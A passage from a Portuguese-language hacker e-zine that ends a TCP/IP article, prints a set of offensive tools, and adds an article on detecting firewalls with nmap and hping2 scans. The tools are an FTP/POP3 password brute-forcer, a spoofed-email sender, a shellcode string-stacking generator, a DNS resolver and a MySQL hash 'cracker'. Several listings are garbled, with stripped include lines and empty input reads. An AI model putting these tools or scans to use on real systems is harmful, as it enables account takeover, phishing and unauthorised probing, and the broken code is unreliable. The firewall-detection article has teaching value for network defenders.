abordar somente o tcp/ip,  agora se vc quiser  aprender de OSI procure  em outro
lugar.  Ficaria  muito  grato  se criticas  fossem  feitas,  afinal  nao podemos
melhorar sem criticas "construtivas". Agradeco a galera do grupo por manter vivo
o que aprendi a pouco tempo mas tambem pretendo manter vivo pra alguem,  hacking
etico!

That's All Folks People!!!

Referencias:

Arquiteturas de Redes de Computadores - Makron Books ( Patrocinio EMBRATEL)
MUITO BOM!

TCP/IP Tutorial and Technical Overview - IBM ( IBM RedBooks)

E dicas de amigos.......................

<++> ferramentas/adivinheitor.pl
#!/usr/bin/perl
# Adivinheitor v0.1
# MOTD Labs  ( http://www.motdlabs.org )
# coded by inferninh0 (inferninho@motdlabs.org)
# Descricao: Brute Force para ftp e pop3
####

use Socket;
use Net::FTP;
use Net::POP3;

## Main Code
####

&banner;
print "Daemon: ";
$servico = ;
chomp ($servico);

### FTP

if ($servico eq "ftp")
{
&inicia();
if ($ftp = Net::FTP->new($host, Timeout =>5, Errmode => "return"))
{
&conectado();
}
else
{
&n_conectado();
}
while ($name = )
{
chomp ($name);
open (IN2, $password);
while ($pass = )
{
chomp ($pass);
&cool();
if ($passin = $ftp->login($name, $pass))
{
$ftp->quit();
&resultado();
}
}
close (IN2);
}
&nda();
$ftp->quit();
}

### POP3

elsif ($servico eq "pop3")
{
&inicia();
if ($pop = Net::POP3->new($host, Timeout =>10))
{
&conectado();
}
else
{
&n_conectado();
}
while ($name = )
{
chomp ($name);
open (IN2, $password);
while ($pass = )
{
chomp ($pass);
&cool();
if ($pop->login($name, $pass))
{
$pop->quit();
&resultado();
}
}
close (IN2);
}
$pop->quit();
&nda();
}

elsif (($servico ne "ftp") or ($servico ne "pop3"))
{
	print "\nDaemon invalido, use ftp ou pop3...;-)\n";
}

## Sub
####

sub banner {
system("clear");
    print "\t\t\tAdivinheitor v0.1\n";
    print "\t\t\t~~~~~~~~~~~~~~~~~\n\n\n";
} print;

sub inicia {
print "Hostname: ";
$host = ;
chomp ($host);
$str= inet_aton($host) or die ("\nHost $host nao encontrado... Programa fechado");
$address_in=inet_ntoa($str);
print "Arquivo Username : ";
$username=;
chomp ($username);
print "Arquivo Password : ";
$password = ;
chomp ($password);
print "\n";
open (IN1, $username) or die "O arquivo username nao existe\n";
open (IN2, $password) or die "O arquivo password nao existe\n";
close (IN2);
}

sub conectado {
print "conectado em $host...\n\n";}

sub n_conectado {
die ("Falha na conexao... daemon esta inativo...:-(\n");}

sub nda {
print "\nNenhuma conta valida encontrada...:-(\n\n";
close (IN1);
sleep (2);}

sub cool {
print "Username: ";
print $name;
print " Password: ";
print $pass;
print "\n";}

sub resultado {
print "\n-[+]--------------Resultado----------------[+]-\n\n";
print "    Username valido : $name\n";
print "    Password valido : $pass\n";
sleep (2);
close (IN1);
close (IN2);
die "\n-[+]--------------Resultado----------------[+]-\n\n";}
<--> ferramentas/adivinheitor.pl

<++> ferramentas/dns.c
/*
 * Narcotic Domain Name Resolver (nao tinha um nomezinho melhor nao?)
 *
 * compilar no linux   --> gcc -o dns dns.c -DLINUX
 * compilar no windows --> cl /DWIN32 dns.c /link ws2_32.lib
 */
#include
#include

#ifdef WIN32
  #include
#endif

#ifdef LINUX
  #include             /* gethostbyname, gethostbyaddr, etc */
  #include        /* definicao do struct in_addr       */
#endif

#define TAMBUF  1024

void usage(char *programname)
{
	printf("Narcotic Domain Name Resolver ---\n");
	printf("Copyright (c) - 2003 by Narcotic \n");
	printf("Uso: %s  \n\n",programname);
}

void debuging(struct hostent *h)
{
	int i = 0;

      	printf("Hostname: %s\n", h->h_name);

      	while (h->h_aliases[i])
        	printf("Alias: %s\n", h->h_aliases[i++]);

      	switch (h->h_addrtype)
      	{
        	case AF_INET:
        	case AF_INET6:

          	for (i = 0; h->h_addr_list[i]; ++i)
            		printf("Address: %u.%u.%u.%u\n",
                    		(0xff & h->h_addr_list[i][0]),
                    		(0xff & h->h_addr_list[i][1]),
                    		(0xff & h->h_addr_list[i][2]),
                    		(0xff & h->h_addr_list[i][3]));
	}
}

int resolve(char *s,FILE *fp)
{
	struct hostent *hp;
	unsigned long	a;

	a = inet_addr(s);

	if(a != INADDR_NONE)
	{
		if((hp = gethostbyaddr((char *)&a, sizeof(a), AF_INET)) == NULL)
		{
			fprintf(stderr,"Impossivel resolver %s\n",s);
			return -2;
		}

		fprintf(fp,"%s\n",hp->h_name);
		debuging(hp);

		return 0;
	}

	if((hp = gethostbyname(s)) != NULL)
	{
		debuging(hp);
		fprintf(fp,"%u.%u.%u.%u\n",
                    		(0xff & hp->h_addr[0]),
                    		(0xff & hp->h_addr[1]),
                    		(0xff & hp->h_addr[2]),
                    		(0xff & hp->h_addr[3]));

		return 0;
	}

	return -1;
}

int main(int argc, char **argv)
{
	char buf[TAMBUF];
	char *infile, *outfile;
	FILE *infp, *outfp;
	int cnt;

#ifdef WIN32

	WORD wVersionRequested;
	WSADATA wsaData;
	int err;

	wVersionRequested = MAKEWORD( 2, 0 );
	err = WSAStartup( wVersionRequested, &wsaData );

  	if ( err != 0 )
      		return -1;

#endif   /* #ifdef WIN32 */

	if(argc < 2)
	{
		usage(argv[0]);
		return -1;
	}

	infile  = argv[1];
	outfile = argv[2];

	infp = fopen(infile,"r");

	if(!infp)
	{
		fprintf(stderr,"Erro ao abrir o arquivo %s. Programa encerrado!\n",infile);
		return -2;
	}

	outfp = fopen(outfile,"w");

	while(fgets(buf,TAMBUF,infp) != NULL)
	{
		/* remover \r\n */
		cnt = strlen(buf);

		if(buf[cnt - 1] == '\n')
			cnt--;
		if(buf[cnt - 1] == '\r')
			cnt--;

		if(cnt == 0)
		   continue;

		buf[cnt] = '\0';

		resolve(buf,outfp);
	}

	fclose(infp);
	fclose(outfp);

	printf("Programa terminado!!!\n");
	return 0;
}
<--> ferramentas/dns.c

<++> ferramentas/empilha.c
/*
 * Empilhador de strings - Copyright 2004 by Narcotic
 *
 *
 * Esse programa cria codigo p/ empilhar strings na pilha e ser usada num shellcode
 *   Uso: empilha [-o] [-s sintaxe] [-r registrador] string
 *	-o               imprime os opcode
 *	-s sintaxe       sintaxe usada [att/intel]
 *	-r registrador   registrador q vai receber o end da string
 *                   	 (eax, ebx, ecx ou edx)
 *
 * Ex de uso: empilha -s intel -o -r edx ABCDEF
 *
 *
 * Por padrao o programa assume o uso do registrador eax e da sintaxe INTEL
 *
 */

#include
#include

#ifndef false
#define false 0
#define true  1
#endif

enum
{
	ATT,
	INTEL
};

#define PUSHA	"pushl $"
#define PUSHI	"push "

char *registers[] = {
	"eax", "ebx", "ecx", "edx"
};

/****     construcao dos opcodes p/ o shellcode            ****/
/* Esse codigo cuida apenas de alguns opcodes, limitados aos  */
/* q o programa gera p/ empilhar a string, sao eles:          */
/*  mov, xor, push e shr                                      */

/* cada registrador eh representado por 3 bits */
enum
{
	EAX,      /* 000 */
	ECX,	  /* 001 */
	EDX,	  /* 010 */
	EBX,	  /* 011 */
	ESP	  /* 100 */
};

typedef union _instruction {
	unsigned char bytes[4];
	unsigned int  opcode;
} instruction;

typedef struct _command {
	instruction inst;
	unsigned char *data;
	unsigned char *dissasm;
	struct _command *next;
} command;

/* 0011 0011 11 reg reg */
#define XOR_REGISTER 0x33C0

/* move valor imediato p/ registrador */
/* 1011 w reg : dados */
#define MOV_REGISTER_DATA 0xB0
/* 1000 1011 11 reg reg */
#define MOV_REGISTER_REGISTER 0x8BC0

/* tamanho dos operadores - 1 byte sig 16 bits */
#define OPERAND_SIZE 0x66

/* 0101 0 reg */
#define PUSH_REGISTER 0x50
/* 0110 1000 : dados */
#define PUSH_IMMEDIATE 0x68

/* 1100 0001 1110 1 reg : dados */
#define SHR_REGISTER_IMM 0xC1E8

/* macros */
#define XOR_RR(reg1,reg2)	(XOR_REGISTER | (reg1 << 3) | reg2)
#define SHR_RI(reg)		(SHR_REGISTER_IMM | reg)

#define MOV_RI32(reg)		(MOV_REGISTER_DATA | 0x08 | reg)
#define MOV_RI16(reg)		((OPERAND_SIZE << 8) | (MOV_REGISTER_DATA | 0x08 | reg))
#define MOV_RI8(reg)		(MOV_REGISTER_DATA | reg)
#define MOV_RR(reg1,reg2)	(MOV_REGISTER_REGISTER | (reg1 << 3) | reg2)

#define PUSH_R(reg)		(PUSH_REGISTER | reg)
#define PUSH_I()		(PUSH_IMMEDIATE)

int main(int argc, char **argv)
{
	int len;
	char *str, *reg, *push;
	char reg_opcode;

	char buff[64] = { 0 };
	char *param;
	int sintaxe, i;
	int print_opcodes;

	command *tmp, *actual, *list = NULL;

	if(argc < 2)
	{
		printf("Empilhador de strings 32-bit para 80x86\n");
		printf("Copyright (c) by Narcotic \n");
		printf("   Uso: empilha [-o] [-s sintaxe] [-r registrador] string\n");
		printf("   -o               imprime os opcode\n");
		printf("   -s sintaxe       sintaxe usada [att/intel]\n");
		printf("   -r registrador   registrador q vai receber o end da string\n");
		printf("                    (eax, ebx, ecx ou edx\n\n");

		return -1;
	}

	/* valores assumidos por padrao */
	reg        = registers[0]; /* EAX */
	reg_opcode = EAX;
	sintaxe    = INTEL;
	print_opcodes = false;

	/* trata a entrada */
	for(i = 1; i < argc; i++)
	{
		if(argv[i][0] == '-')
		{
			switch(argv[i][1])
			{
				case 'o': print_opcodes = true;
				          break;

				case 's': if((i + 1) == argc)
					  {
					  	printf("argumento invalido \"-s\": falta sintaxe\n");
					  	return -1;
					  }

					  param = argv[i + 1];

					  if(strcmp(param,"att") == 0)
					  	sintaxe = ATT;
					  else if(strcmp(param,"intel") == 0)
					  	sintaxe = INTEL;
					  else
					  {
					  	printf("argumento invalido \"-s\": sintaxe inexistente\n");
					  	return -1;
					  }

					  break;

				case 'r': if((i + 1) == argc)
					  {
					  	printf("argumento invalido \"-r\": falta registrador\n");
					  	return -1;
					  }

					  param = argv[i + 1];

					  if(param[0] == 'e' && param[2] == 'x')
					  {
					  	int reg_num = param[1] - 'a';

					  	if(reg_num >= 0 && reg_num < 4)
					  	{
					  		reg = registers[reg_num];

					  		switch(reg_num)
					  		{
		  						case 0: reg_opcode = EAX; break;
								case 1: reg_opcode = EBX; break;
								case 2: reg_opcode = ECX; break;
								case 3: reg_opcode = EDX; break;
							}
						}
						else
						{
						  	printf("argumento invalido \"-r\": registrador desconhecido\n");
						  	return -1;
						}
					}
					else
					{
					  	printf("argumento invalido \"-r\": registrador desconhecido\n");
					  	return -1;
					}

					break;

				default: /* nao eh ultimo parametro *string* */
					if(i != argc - 1)
					{
						printf("parametro desconhecido\n");
						return -1;
					}
			}
		}
	}

	str = argv[argc - 1];
	len = strlen(str);

	/* aloca memoria p/ o primeiro elemento da nossa lista */
	list 	   = (command *)malloc(sizeof(command));
	list->next = NULL;

	actual = tmp = list;

	/* apenas 4 caracteres podem ser empilhados por vez */
	switch(len % 4)
	{
		/* nossa string eh multipla de 4 */
		/* nao faz nda         		 */
		case 0: break;

		/* esta sobrando um byte  	     */
		/* carrega ele em xl (al, bl, cl..)  */
		case 1: tmp->inst.opcode = MOV_RI8(reg_opcode);
		 	tmp->data        = (char *)malloc(2 * sizeof(char));
		 	strcpy(tmp->data,str + len - 1);

			if(sintaxe == INTEL)
				sprintf(buff,"mov %cl, 0x%02X",reg[1],str[len - 1]);
			else
				sprintf(buff,"movl $0x%02X, %%%cl",str[len - 1],reg[1]);

			tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char));
			strcpy(tmp->dissasm,buff);
			break;

		/* 2 bytes sobrando 	     */
		/* joga em xx (ax, bx, cx..) */
		case 2:	tmp->inst.opcode = MOV_RI16(reg_opcode);
		 	tmp->data        = (char *)malloc(3 * sizeof(char));
		 	strcpy(tmp->data,str + len - 2);

			if(sintaxe == INTEL)
				sprintf(buff,"mov %cx, 0x%02X%02X",reg[1],str[len - 1],str[len - 2]);
			else
				sprintf(buff,"movl $0x%02X%02X, %%%cx",str[len - 1],str[len - 2],reg[1]);

			tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char));
			strcpy(tmp->dissasm,buff);
			break;

		/* 3 bytes sobrando -- aki a coisa complica */
		/* precisamos mover 3 bytes e nao deixar sobrar 0x00 */
		/* entao dividimos em 2 instrucoes, um mov com 3 bytes + 1 byte de lixo */
		/* e um shr, q vai tirar o lixo p/ gente e depois empilha :) */
		case 3: tmp->inst.opcode = MOV_RI32(reg_opcode);
		 	tmp->data        = (char *)malloc(5 * sizeof(char));
		 	strcpy(tmp->data,str + len - 3);
		 	strcat(tmp->data,"\xFF");

			if(sintaxe == INTEL)
				sprintf(buff,"mov %s, 0x%02X%02X%02XFF",reg,str[len - 1],str[len - 2],str[len - 3]);
			else
				sprintf(buff,"movl $0x%02X%02X%02XFF, %%%s",str[len - 1],str[len - 2],str[len - 3],reg);

			tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char));
			strcpy(tmp->dissasm,buff);

			actual    = tmp;

			tmp 	  = (command *)malloc(sizeof(command));
			tmp->next = NULL;
			actual->next = tmp;

			tmp->inst.opcode = SHR_RI(reg_opcode);
		 	tmp->data        = (char *)malloc(2 * sizeof(char));
		 	strcpy(tmp->data,"\x08");

			if(sintaxe == INTEL)
				sprintf(buff,"shr %s, 8",reg);
			else
				sprintf(buff,"shr  $0x8, %%%s",reg);

			tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char));
			strcpy(tmp->dissasm,buff);
			break;
	}

	/* push p/ intel ou p/ AT&T */
	if(sintaxe == INTEL)
		push = PUSHI;
	else
		push = PUSHA;

	actual = tmp;

	/* coloca o xor como o primeiro na lista */
	tmp       = (command *)malloc(sizeof(command));
	tmp->next = list;
	list      = tmp;

	tmp->inst.opcode = XOR_RR(reg_opcode,reg_opcode);
 	tmp->data        = NULL;

	if(sintaxe == INTEL)
		sprintf(buff,"xor %s, %s",reg,reg);
	else
		sprintf(buff,"xorl %%%s, %%%s",reg,reg);

	tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char));
	strcpy(tmp->dissasm,buff);

	if(len % 4)
	{
		tmp = (command *)malloc(sizeof(command));
		tmp->next    = NULL;
		actual->next = tmp;
	}
	else
		tmp = actual;

	tmp->inst.opcode = PUSH_R(reg_opcode);
 	tmp->data        = NULL;

	/* empilha o registrador contendo o final da string */
	if(sintaxe == INTEL)
		sprintf(buff,"push %s",reg);
	else
		sprintf(buff,"pushl %%%s",reg);

	tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char));
	strcpy(tmp->dissasm,buff);

	actual = tmp;

	/* string de cabeca p/ baixo */
	for(i = len - (len % 4) - 4; i >= 0; i -= 4)
	{
		tmp 	     = (command *)malloc(sizeof(command));
		tmp->next    = NULL;
		actual->next = tmp;

		tmp->inst.opcode = PUSH_I();
 		tmp->data        = (char *)malloc(sizeof(char) * 5);
 		memcpy(tmp->data,str + i,4);
 		tmp->data[4] = 0;

		sprintf(buff,"%s0x%02X%02X%02X%02X",push,str[i + 3],str[i + 2],str[i + 1],str[i]);
		tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char));
		strcpy(tmp->dissasm,buff);

		actual = tmp;
	}

	/* move o end da string p/ registrador */
	tmp 	     = (command *)malloc(sizeof(command));
	tmp->next    = NULL;
	actual->next = tmp;

	tmp->inst.opcode = MOV_RR(reg_opcode,ESP);
	tmp->data        = NULL;

	if(sintaxe == INTEL)
		sprintf(buff,"mov %s, esp",reg);
	else
		sprintf(buff,"movl %%esp, %%%s",reg);

	tmp->dissasm = (char *)malloc((strlen(buff) + 1) * sizeof(char));
	strcpy(tmp->dissasm,buff);

	for(tmp = list; tmp; tmp = tmp->next)
	{
		if(print_opcodes)
		{
			if(tmp->inst.bytes[1])
				sprintf(buff,"\\x%02X\\x%02X",tmp->inst.bytes[1],tmp->inst.bytes[0]);
			else
				sprintf(buff,"\\x%02X",tmp->inst.bytes[0]);

			if(tmp->data != NULL)
			{
				len = strlen(tmp->data);

				for(i = 0; i < len; i++)
					sprintf(buff,"%s%\\x%02X",buff,tmp->data[i]);
			}

			printf("% -24s /* ",buff);
		}

		printf("%s",tmp->dissasm);

		if(print_opcodes)
			printf(" */");

		printf("\n");
	}

	return 0;
}
<--> ferramentas/empilha.c

<++> ferramentas/falsificator.pl
#!usr/bin/perl
# Falsificator v 0.1  -> programa para envio de fakemail
# MOTD Labs -----------> http://www.motdlabs.org
# coded by inferninh0 (inferninho@motdlabs.org)
###

print STDERR "\n-[+]--------------------------------[+]-\n";
print STDERR "       Falsificator by inferninh0\n";
print STDERR "-[+]--------------------------------[+]-\n";

use IO::Socket;
my ($HOST,$MAIL,$RCPT,$SUBJECT,$MSG);
print "\n[+] Servidor SMTP: ";
chomp($HOST=);
print "[+] Mail Remetente: ";
chomp($MAIL=);
print "[+] Mail Destinatario: ";
chomp($RCPT=);
print "[+] Assunto: ";
chomp($SUBJECT=);
print "[+] Arquivo contendo a menssagem: ";
chomp($MSG=);
open(INFO, $MSG);
@msg = ;
my $socket = IO::Socket::INET->new(
                                   PeerAddr => "$HOST",
                                   PeerPort => "25",
                                   Prot => "tcp"
                                  );
die "Nao foi possivel criar a socket\n" unless $socket;
if ($socket) {
        print $socket "helo localhost\n" or die "SERVIDOR NAO VULNERAVEL...:(";
        sleep 1;
        print $socket "mail from: $MAIL\n" or die "SERVIDOR NAO VULNERAVEL...:(";
        sleep 1;
        print $socket "rcpt to: $RCPT \n" or die "SERVIDOR NAO VULNERAVEL...:(";
        sleep 1;
        print $socket "data\n" or die "SERVIDOR NAO VULNERAVEL...:(";
        sleep 1;
        print $socket "From: $MAIL\n" or die "ERRO NO ENVIO DA MSG...:(";
        sleep 1;
        print $socket "To: $RCTP\n" or die "ERRO NO ENVIO DA MSG...:(";
        sleep 1;
        print $socket "Subject: $SUBJECT\n" or  die "ERRO NO ENVIO DA MSG...:(";
        sleep 1;
        print $socket "\n";
        sleep 1;
        print $socket "@msg\n" or die "ERRO NO ENVIO DA MSG...:(";
        sleep 1;
        print $socket "\n";
        sleep 1;
        print $socket ".\n" or die "ERRO NO ENVIO DA MSG...:(";
        sleep 1;
}
close ($socket);
close(INFO);
print "\n[+] Fakemail enviado...=D\n\n";
exit;

<--> ferramentas/falsificator.pl

<++> ferramentas/mysql_passwd.c
/*
 * Crack MySQL passwords with wordlist.
 * by Narcotic -
 *
 */
#include
#include

typedef unsigned char uchar;
typedef unsigned long ulong;

/*
 * riped of MySQL source code
 * file: libmysql/password.c
 */
void hash_password(ulong *result, const char *password)
{
  register ulong nr = 1345345333L, add=7, nr2=0x12345671L;
  ulong tmp;

  for (; *password ; password++)
  {
    if (*password == ' ' || *password == '\t')
       continue;			/* skipp space in password */

    tmp  = (ulong) (uchar) *password;
    nr  ^= (((nr & 63)+add)*tmp)+ (nr << 8);
    nr2 += (nr2 << 8) ^ nr;
    add += tmp;
  }

  result[0] = nr  & (((ulong) 1L << 31) -1L); /* Don't use sign bit (str2int) */
  result[1] = nr2 & (((ulong) 1L << 31) -1L);
}

void print_hash(char *pass)
{
	ulong result[2];

	hash_password(result,pass);
	printf("0x%8x%8x\n",result[0],result[1]);

}

int main()
{
	char str[10];
	int i;

	str[1] = 0;

	for(i = 240; i < 255; i++)
	{
		str[0] = i;
		print_hash(str);
	}

	return 0;
}
<--> ferramentas/mysql_passwd

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[14]-=[Detecção de Firewalls]-=|c4ri0c4|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Detecção de Firewalls - By C4ri0c4

Embora não seja assunto para Kid, mas invasores mais atentos que busca realmente
um alvo, com  certeza na enumeração  que antever uma  investida, ele vai  tentar
mapear os dispositivos de uma rede  alvo, buscando conhecer a real topologia  do
alvo. Assim sendo, detectar firewall é sem sombra de dúvidas necessário.

Hoje  com um  simples traceroute  em muito  casos contando  o valor  de TTL  que
retorna de um alvo e verificando o  número de salto em muito caso é  perceptivel
que houve  a manipulação  do datagrama  durante seu  trajeto o  que notoriamente
identificar um firewall, mas o objetivo desse artigo é falta das  possibilidades
ativas, em suma, as técnicas comumente utilizadas para identificar firewalls.

Varredura com Datagrama TCP/ACK

Este método avançado é usado identificar firewalls Stateful ou um Packet  Filter
(firewalls que atuam na camada 3, camada IP denominados filtro de pacotes) .   O
conceito dessa  técnica é  aproveitar que  um datagrama  TCP/ACK orfão  (que não
pertença a nenhum  comunicação estabelecida) teria   como resposta RST  tanto em
uma porta  aberta como  fechada. Dessa  forma se  um RST  voltar as portas estão
classificados  como  "não filtrados".  Se  nada volta  (ou  se um  ICMP   tipo 3
unreachable for  retornado), a  porto é  classificado como  "filtrado",  o  Nmap
envia inicialmente  2 pacote  rebendo como  resposta TCP/RST   ele assume  que a
porta não esta filtrada, recebendo um  ICMP tipo 3 está filtrada, não  recebendo
nada ele envia uma sequência com mas 4 pacotes e não tendo resposta mais uma vez
assume que as portas estão  filtradas. Dentro desse cenário encontramos  algumas
váriações possíves de detecção de firewall. Seria elas varreduras   TCP/Windows,
FIN/ACk,  SYN/ACK, sendo  as duas  primeira implementadas  no Nmap  e ultima  é
facilmente provado seu conceito com o hping2. Irei falar da outras técnicas

# nmap -sA ip.ip.ipp

Usando o Hping

# hping2  ip.ip.ip.ip --ack -p 22 -c 2

Varredura da janela  do interruptor: Esta  varredura avançada é  muito similar à
varredura  do  ACK,  pois  é  realizada  com  um  pacote  TCP/ACK,   objetivando
identificar  dessa vez  portas protegidas por sistemas de firewal l e não portas
abertas.  O Nmap envia inicialmente duas sequências não tendo resposta envia mas
4,  não  tendo resposta  assume  que existe  firewall,  todavia qdo  o  pacote é
rejeitado e o sistema de Firewall devolvo um ICMP tipo 3 no inicio da exploração
fica fácil determinar que a porta  esta filtrada qdo volta um TCP/RST  o scanner
interpreta que não existe firewall, ou seja a porta não esta filtrada

Exemplicando

# nmap -sW ip.ip.ip.ip

Varredura FIN/ACK ===============

Enbora tenha o  bi FIN ativo  os pacotes TCP  enviados iram ter  o comportamento
similar a varredura  TCP/ACK, todavia é mais forma interessante de identificação
de firewall, tendo ainda a possibilidade de não ser detectado por um sistema que
esta  condicionado a  detectar varreduras  onde somente  o tenhamos  o flag  ACK
ativo.

# nmap -sM ip.ip.ip.ip

# hping2 ip.ip.ip.ip  --fin --ack -p  -c  3

Varreduras SYN/ACK =================

Nessa técnica é utilizada  como  como recurso datragrams TCP como os bitrs SYN e
ACK ativos que  normalmente são usando  em handshake, O  comportamento similar a
varreduras   TCP/ACK.,  FIN/ACK,   e  TCP  WINDOWS,   ou  seia   é   mais  forma
identificação de firewall, tendo ainda a possibilidade de não ser detectado  por
um sistema  que esta  condicionado a  detectar varreduras  e o  mesmo não esteja
pronta par tratar a chegada de datagramas TCP SYN/ACK orfãos. Essa técnica não é
implentada no  NMAP e  nem no  Amap. Todaiva  é fácil  prova seu  conceito com o
Hping2.Provando o Conceito. utilize o  Hping2 com  a seguinte sintaxe,  Para TCP
SYN/ACK

# hping2 ip.ip.ip.ip  --syn --ack -p  -c  3

Usando falso posivito para enganar PortScan

Para os mais desavisados e  menos competentes comumente conhecidos por  nós como
Script Kiddies é possível gerar  um cenário interessante  onde fácilmente  seria
possivél enganar um  scanner como Nmap,  mas retormar seu  funcionamento para as
técnicas de  detecção de  Firewall, o  nmap envia  2 pacotes  se ele  receber um
TCP/RST  como resposta para os dois pacotes enviados ele assume que a porta  não
esta filtrada caso ele recebaICMP tipo  3  como resposta ele assume que  a porta
esta filtrada, pois ele entende como uma ação de um Firewall que rejeita pacotes
e se ele  não recebe nada  envia mais 4  pacotes, não obtendo  resposta assume a
porta com   filtrada. Bem  imagine que  venhamos a  definir numa configuração de
politicas num Firewall que na porta 22 somente aceitaremos conexões de IP´s   já
pré-definidos  e  qualquer outro  IP  terá seus  pacote  rejeitados, só  que  na
potilica definimos para o Firewall não  rejeita com ICMP e sim com  TCP/RST, com
certeza  motivaria  um falso  negativo  no resultdado  do  scanner. Isso  é  uma
possibilidade interessante  pois hoje  podemos definir  como o  Firewall rejeita
pacotes , o Iptables que é a ferramenta da familia do Kernel do 2.4 do Linux que
nós possibilita isso, com certeza outros firewall  inteligentes também.

Um cenário  interessante que  muitos administradores  que usam  esse recurso  de
gerar falso possitivo  acabam  esquecendo é que quem  responde é o  IPTABLES   e
não a pilha TCP/IP e distro como  Red Hat por exemplo, ultimamente tem como  TTL
padrão inicial o valor  64, mas o IPTABLES  ao rejeitar uma pacote  por padrão o
TTL é  255. Então  um invasor  mais esperto  usando um  montador de  pacote como
Hping2 por exemplo facilmente percebe que  a porta esta devolver um TCP/RST  não
está fechada e sim  filttrada com a politica  de rejeitar pacotes definida  para
rejeita com TCP/RST, desse modo é recomendável quando usar esse artificio  mudar
o valor de TTL padrão no arquivo /proc/sys/net/ipv4/Ip_default_ttl,.

Bem moral da história ter  um firewall é igual ter  cachorro se o bicho latir  o
ladrão pensa duas vezes  mas o firewall pode  enganar o portscanner meu  pitbull
não.

Espero ter ajudado os leitores dessa zine !!!

até a próxima .. valeu sangue